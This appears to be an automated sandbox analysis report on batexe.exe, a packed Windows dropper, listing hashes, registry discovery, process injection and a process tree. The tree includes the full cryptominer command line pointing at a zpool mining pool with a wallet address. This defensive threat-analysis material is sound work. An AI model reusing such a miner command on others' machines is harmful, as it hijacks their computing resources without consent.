73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
297s
max time network
298s
platform
windows10-2004_x64
resource
win10v2004-20240221-ja
resource tags

arch:x64arch:x86image:win10v2004-20240221-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
22/02/2024, 03:16

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2132103209-3755304320-2959162027-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2132103209-3755304320-2959162027-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
5040	b2e.exe
4992	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4992	cpuminer-sse2.exe
4992	cpuminer-sse2.exe
4992	cpuminer-sse2.exe
4992	cpuminer-sse2.exe
4992	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4512-7-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4512 wrote to memory of 5040	4512	batexe.exe	88
PID 4512 wrote to memory of 5040	4512	batexe.exe	88
PID 4512 wrote to memory of 5040	4512	batexe.exe	88
PID 5040 wrote to memory of 1436	5040	b2e.exe	90
PID 5040 wrote to memory of 1436	5040	b2e.exe	90
PID 5040 wrote to memory of 1436	5040	b2e.exe	90
PID 1436 wrote to memory of 4992	1436	cmd.exe	94
PID 1436 wrote to memory of 4992	1436	cmd.exe	94

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4512
- C:\Users\Admin\AppData\Local\Temp\5EC9.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\5EC9.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\5EC9.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:5040
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\6234.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1436
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4992

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\5EC9.tmp\b2e.exe

Filesize
31.2MB

MD5
7edb49bf4f2e2aa7b3db9ba63e70e0ff

SHA1
e4d15a1ddf43cf88335904e14f25ae40d426caf0

SHA256
d255859ffb5b2278a99b98267278a810b31c28731cbe8a2fa181a836b3aa487f

SHA512
996820385b3b946a949464099aa3c7c2e9537a53951a091fe06301dc6a52ad42b2fea2e59f0ddc2665cd8dfa676f1c3af6000d1b3ac83bcc15a18d89f3838c8e

Download Submit
C:\Users\Admin\AppData\Local\Temp\5EC9.tmp\b2e.exe

Filesize
14.2MB

MD5
0f1f476b46647fb18bf9852dcf698aff

SHA1
3644f415339312938f6165ea91bbcbe5dd86b59a

SHA256
409f9d27581b5e1dc35f49fab67330a31a77a948c57ba5522001770b2082465e

SHA512
3846cd445022fead2cd88332c0f3ca7a58258d57a1b8da440538e6c6a4f69fc95cf42d59d51425e85e4baf4c613ca335b5ff960e5aab05a654fe2a239d9d8336

Download Submit
C:\Users\Admin\AppData\Local\Temp\5EC9.tmp\b2e.exe

Filesize
16.2MB

MD5
03bed2e8938fdcecc267829293734d8a

SHA1
3c018ecffd80ff8bfcad96363121b31b26cf29fb

SHA256
f962ca51fbad3d4a4bc30d8a62f1905eda959294b1425f816367b6c6c7e09bc1

SHA512
c4e8d6419b6be7ff83bb7184b891bb26cc45affd8834fd10eb206680298653119cc60c46fceeb7f2a211a3e7f072922419e56355e40a13ff3ad29a1e09f87774

Download Submit
C:\Users\Admin\AppData\Local\Temp\6234.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
48KB

MD5
db37b3a92445ce50fa352d15acace60b

SHA1
57afaad08e6f42ff2c9b17f171693e5c8a59da55

SHA256
105620d0e1d403eb3c583a12e8fa19ab87b2465df52c4d3a4be40fa5e49a0278

SHA512
530a09738ed079b5b4ccac216065b97411a432f3c3eb4fee91439794ad2ac8084f39cb5c43472d7d8e5bb763ef1eb3c0b818f4bcb42fa57af854fdb8168dc057

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.4MB

MD5
4d56c67e9f3299a231fa980d070e393b

SHA1
2ec36fa132163f3e5059538840d3e4c3ee5924f2

SHA256
26583480c9bee3a6f53bc8221b63c4097c450e0dd291582e216ce650243b7033

SHA512
c1e3faf9f76fa0c64bc54923e48a380a91b8d8c6f18b351be4e8dc0e8f328c0c5deea191b1542eac94820aa3fae384b4d1f66eb934fd0b38f3e38dc57e7562cd

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
5.5MB

MD5
93b29cbdabf0eff7f0b9f19cef1977a4

SHA1
28cceb58162318666e7f65d84a4236093016f6f6

SHA256
e58b6a0b04eba925ecf3b4d400a8596ad06c4080bb69b2cff76d4cb7359eab66

SHA512
4157623bc52ca9e3cd4b372e4cad97626b47c9c7caff9545187216327ae254fcd00fbe816d7ee01cf04cb436e4334e366a5568276eca5fe65c89c6d9eadba4ce

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.3MB

MD5
448df14b5d08dd22b58897d4a4c51434

SHA1
ec1bca9a995308d182cb749998a75ff880c9410e

SHA256
22c6c9bd04e46a72053de3ecae10bab83690a6fa3227eb9da248e0bc4243279e

SHA512
59919a4d486244c949163529e6f8f4bcd775a8f93fdc0990a846fa1d927299338d8631e3adb28a4a382ccbb2b4b1cc7dc8cdd41a4b0ce8e87cc117137397fd8a

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/4512-7-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4992-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4992-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4992-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4992-45-0x000000005EB80000-0x000000005EC18000-memory.dmp

Filesize
608KB

Download
memory/4992-47-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/4992-46-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4992-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4992-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4992-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4992-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4992-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4992-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4992-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4992-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4992-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5040-9-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/5040-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download